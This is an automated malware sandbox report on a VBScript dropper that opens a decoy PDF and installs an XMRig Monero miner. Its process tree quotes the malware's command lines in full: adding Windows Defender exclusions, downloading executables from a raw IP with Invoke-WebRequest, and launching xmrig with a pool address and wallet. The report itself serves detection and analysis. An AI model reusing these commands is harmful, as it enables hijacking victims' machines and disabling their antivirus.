Edit tour
Windows
Analysis Report
NOTIFICATION_OF_DEPENDANTS.vbs
Overview
General Information
Detection
Xmrig
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Antivirus detection for dropped file
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Xmrig
Suricata IDS alerts for network traffic
VBScript performs obfuscated calls to suspicious functions
Yara detected Xmrig cryptocurrency miner
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
DNS related to crypt mining pools
Detected Stratum mining protocol
Found strings related to Crypto-Mining
Loading BitLocker PowerShell Module
Machine Learning detection for dropped file
Powershell drops PE file
Query firmware table information (likely to detect VMs)
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Drops files with a non-matching file extension (content does not match file extension)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
PE file contains more sections than normal
PE file contains sections with non-standard names
Queries disk information (often used to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: PowerShell Web Download
Sigma detected: Powershell Defender Exclusion
Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses code obfuscation techniques (call, push, ret)
Yara signature match
Classification
- System is w10x64
- wscript.exe (PID: 7400 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\NOTIF ICATION_OF _DEPENDANT S.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) - cmd.exe (PID: 7452 cmdline:
"C:\Window s\System32 \cmd.exe" /c powersh ell start- process ht tps://www. oldmutual. co.za/v3/a ssets/blt0 554f48052b b4620/blt8 b52803ba23 b252a/6674 2ed3b2cbc1 4f42b4434c /Superfund _Beneficia ry_Nominat ion_form.p df MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7460 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7504 cmdline:
powershell start-pro cess https ://www.old mutual.co. za/v3/asse ts/blt0554 f48052bb46 20/blt8b52 803ba23b25 2a/66742ed 3b2cbc14f4 2b4434c/Su perfund_Be neficiary_ Nomination _form.pdf MD5: 04029E121A0CFA5991749937DD22A1D9) - chrome.exe (PID: 7648 cmdline:
"C:\Progra m Files\Go ogle\Chrom e\Applicat ion\chrome .exe" --st art-maximi zed --sing le-argumen t https:// www.oldmut ual.co.za/ v3/assets/ blt0554f48 052bb4620/ blt8b52803 ba23b252a/ 66742ed3b2 cbc14f42b4 434c/Super fund_Benef iciary_Nom ination_fo rm.pdf MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4) - chrome.exe (PID: 7968 cmdline:
"C:\Progra m Files\Go ogle\Chrom e\Applicat ion\chrome .exe" --ty pe=utility --utility -sub-type= network.mo jom.Networ kService - -lang=en-U S --servic e-sandbox- type=none --mojo-pla tform-chan nel-handle =2196 --fi eld-trial- handle=201 6,i,151906 8400785470 4041,64433 0152409143 2081,26214 4 --disabl e-features =Optimizat ionGuideMo delDownloa ding,Optim izationHin ts,Optimiz ationHints Fetching,O ptimizatio nTargetPre diction /p refetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4) - powershell.exe (PID: 7716 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -inputform at none -o utputforma t none -No nInteracti ve -Comman d Add-MpPr eference - ExclusionP ath 'C:\Wi nXRAR' MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7724 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 8484 cmdline:
"C:\Window s\System32 \cmd.exe" /c powersh ell Invoke -WebReques t -Uri htt p://45.125 .67.168/st elin/Bootx r.exe -Out file C:\Wi nXRAR\Boot xr.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 8556 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 8768 cmdline:
powershell Invoke-We bRequest - Uri http:/ /45.125.67 .168/steli n/Bootxr.e xe -Outfil e C:\WinXR AR\Bootxr. exe MD5: 04029E121A0CFA5991749937DD22A1D9) - cmd.exe (PID: 9124 cmdline:
"C:\Window s\System32 \cmd.exe" /c C:\WinX RAR\Bootxr .exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 9132 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - Bootxr.exe (PID: 9168 cmdline:
C:\WinXRAR \Bootxr.ex e MD5: CAB92C144FD667CEF7315C451BED854B) - cmd.exe (PID: 9188 cmdline:
cmd /c pow ershell -i nputformat none -out putformat none -NonI nteractive -Command Add-MpPref erence -Ex clusionPat h "C:\WinX RAR" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 9196 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 8304 cmdline:
powershell -inputfor mat none - outputform at none -N onInteract ive -Comma nd Add-MpP reference -Exclusion Path "C:\W inXRAR" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - cmd.exe (PID: 7740 cmdline:
cmd /c pow ershell In voke-WebRe quest -Uri http://45 .125.67.16 8/stelin/x mrig.exe - Outfile C: \WinXRAR\x mrig.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 7724 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 2516 cmdline:
powershell Invoke-We bRequest - Uri http:/ /45.125.67 .168/steli n/xmrig.ex e -Outfile C:\WinXRA R\xmrig.ex e MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - xmrig.exe (PID: 8836 cmdline:
C:\WinXRAR \xmrig.exe -o xmr-us -east1.nan opool.org: 14444 -u 4 7n193Tag3F HULdsD1HYm YGPdfCpquh dci1Rq2L4g R4U5Diq8oX 6ny73xRqb4 DwWYBTuQQF 3Xa36AQFNj CCX71nAMeY iG4t -p x --algo rx/ 0 MD5: CB166D49CE846727ED70134B589B0142) - conhost.exe (PID: 8848 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
- svchost.exe (PID: 7884 cmdline:
C:\Windows \System32\ svchost.ex e -k netsv cs -p -s B ITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
- Bootxr.exe (PID: 8464 cmdline:
"C:\WinXRA R\Bootxr.e xe" MD5: CAB92C144FD667CEF7315C451BED854B)
- Bootxr.exe (PID: 9108 cmdline:
"C:\WinXRA R\Bootxr.e xe" MD5: CAB92C144FD667CEF7315C451BED854B) - xmrig.exe (PID: 3052 cmdline:
C:\WinXRAR \xmrig.exe -o xmr-us -east1.nan opool.org: 14444 -u 4 7n193Tag3F HULdsD1HYm YGPdfCpquh dci1Rq2L4g R4U5Diq8oX 6ny73xRqb4 DwWYBTuQQF 3Xa36AQFNj CCX71nAMeY iG4t -p x --algo rx/ 0 MD5: CB166D49CE846727ED70134B589B0142) - conhost.exe (PID: 2032 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
xmrig | According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information. | No Attribution |
⊘No configs have been found
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Xmrig | Yara detected Xmrig cryptocurrency miner | Joe Security | ||
Linux_Trojan_Pornoasset_927f314f | unknown | unknown |
| |
MacOS_Cryptominer_Xmrig_241780a1 | unknown | unknown |
|
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Xmrig | Yara detected Xmrig cryptocurrency miner | Joe Security | ||
JoeSecurity_Xmrig | Yara detected Xmrig cryptocurrency miner | Joe Security | ||
Linux_Trojan_Pornoasset_927f314f | unknown | unknown |
| |
MacOS_Cryptominer_Xmrig_241780a1 | unknown | unknown |
| |
MAL_XMR_Miner_May19_1 | Detects Monero Crypto Coin Miner | Florian Roth |
| |
Click to see the 1 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Xmrig | Yara detected Xmrig cryptocurrency miner | Joe Security | ||
JoeSecurity_Xmrig | Yara detected Xmrig cryptocurrency miner | Joe Security | ||
JoeSecurity_Xmrig | Yara detected Xmrig cryptocurrency miner | Joe Security | ||
JoeSecurity_Xmrig | Yara detected Xmrig cryptocurrency miner | Joe Security | ||
JoeSecurity_Xmrig | Yara detected Xmrig cryptocurrency miner | Joe Security | ||
Click to see the 37 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Xmrig | Yara detected Xmrig cryptocurrency miner | Joe Security | ||
JoeSecurity_Xmrig | Yara detected Xmrig cryptocurrency miner | Joe Security | ||
JoeSecurity_Xmrig | Yara detected Xmrig cryptocurrency miner | Joe Security | ||
JoeSecurity_Xmrig | Yara detected Xmrig cryptocurrency miner | Joe Security | ||
JoeSecurity_Xmrig | Yara detected Xmrig cryptocurrency miner | Joe Security | ||
Click to see the 11 entries |
Bitcoin Miner |
---|
Source: | Author: Joe Security: |
System Summary |
---|
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: |
Source: | Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): |
Source: | Author: frack113, Nasreddine Bencherchali (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Nasreddine Bencherchali (Nextron Systems): |
Source: | Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: |
Source: | Author: Michael Haag: |
Source: | Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): |
Source: | Author: vburov: |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-01-01T09:15:13.362540+0100 | 2826930 | 2 | Crypto Currency Mining Activity Detected | 192.168.2.4 | 49756 | 51.222.106.253 | 14444 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-01-01T09:11:20.691293+0100 | 2829056 | 2 | Crypto Currency Mining Activity Detected | 192.168.2.4 | 49754 | 45.125.67.168 | 80 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-01-01T09:11:13.340067+0100 | 1810003 | 2 | Potentially Bad Traffic | 45.125.67.168 | 80 | 192.168.2.4 | 49747 | TCP |
2025-01-01T09:11:20.691375+0100 | 1810003 | 2 | Potentially Bad Traffic | 45.125.67.168 | 80 | 192.168.2.4 | 49754 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-01-01T09:11:13.340066+0100 | 1810000 | 1 | Potentially Bad Traffic | 192.168.2.4 | 49747 | 45.125.67.168 | 80 | TCP |
2025-01-01T09:11:20.691293+0100 | 1810000 | 1 | Potentially Bad Traffic | 192.168.2.4 | 49754 | 45.125.67.168 | 80 | TCP |
Click to jump to signature section
Show All Signature Results
AV Detection |
---|
Source: | Avira URL Cloud: | ||
Source: | Avira URL Cloud: |
Source: | Avira: |
Source: | ReversingLabs: | ||
Source: | ReversingLabs: |
Source: | Virustotal: | Perma Link |
Source: | Integrated Neural Analysis Model: |
Source: | Joe Sandbox ML: |
Source: | HTTP Parser: | ||
Source: | HTTP Parser: | ||
Source: | HTTP Parser: |
Bitcoin Miner |
---|
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: |
Source: | DNS query: |
Source: | TCP traffic: | ||
Source: | TCP traffic: |
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: |
Source: | Binary string: |
Source: | Code function: | 16_2_004DA512 |
Software Vulnerabilities |
---|
Source: | Child: |
Networking |
---|
Source: | Suricata IDS: | ||
Source: | Suricata IDS: |
Source: | TCP traffic: |
Source: | HTTP traffic detected: |